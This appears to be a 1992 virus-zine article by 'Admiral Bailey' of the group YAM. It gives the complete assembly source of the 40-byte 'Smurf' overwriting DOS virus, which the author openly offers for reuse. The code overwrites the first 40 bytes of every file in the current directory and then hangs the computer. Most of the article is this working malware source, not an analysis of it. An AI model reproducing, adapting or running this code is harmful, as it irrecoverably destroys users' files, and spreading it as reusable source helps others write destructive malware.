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70 lines
2.7 KiB
NASM
70 lines
2.7 KiB
NASM
ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍ>>> Article From Evolution #2 - YAM '92
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Article Title: The Smurf Virus
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Author: Admiral Bailey
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;---
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; The Smurf virus [40 Bytes Long]
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;
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; Author : Admiral Bailey [YAM '92]
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; Date : June 6 1992
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; Language : Assembly [TASM 2.0]
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;
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; Notes:The Smurf virus was my first attempt at writing the smallest
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; overwriting virus known. For a first attempt it wasn't that
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; bad. So far I have got it down to 40 bytes. The record that
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; does the same as this is about 38 bytes. So I gotta loose 2
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; bytes in here somewhere. Well seeing as this small thing is
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; probably the easiest virus in the world to disassemble, I have
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; included the source in this issue of Evolution for all of you
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; to take a look at. The source is for you to use. If you
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; happend to make anything smaller using this source please just
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; give recognition to myself, Admiral Bailey, saying that you got
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; help looking at this source. The only thing that this does is
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; find everyfile in the current directory and overwrite the 1st
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; 40 bytes with itself. Then locks your computer while it is in
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; a search loop looking for more file when there are none. A
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; neat thing about this is that it displays its entire self to
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; the screen when executed. Scan 91 notices this as the mini
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; virus but I dont blame it seeing that you cant realy avoid
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; scan when your virus gets this small. Well enjoy the source...
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; and remember if you use it and enjoy it just let me know.
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;---
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code segment
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assume ds:code, ss:code, cs:code, es:code
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org 100h ;Make it a .com file
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virus_start equ $
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start:
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mov dx,offset file_type ;type of file to look for
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mov ah,4eh ;Find first file command
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infect:
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int 21h
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mov ax,3d02h ;open again to reset handle
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mov dx,80h+1eh ;moves filename into dx
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int 21h
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mov bx,ax ;save handle again
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mov cx,virus_length ;put size of virus in cx
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mov dx,100h ;where the code starts
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mov ah,40h ;write to handle command
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int 21h ;write virus into file
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mov ah,3eh ;close handle service
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int 21h ;do it
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find_next_file:
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mov ah,4fh ;find next file command
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jmp infect
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file_type db '*.*',0
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virus_end equ $
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virus_length = virus_end - virus_start ;length of virus
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code ends
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end start
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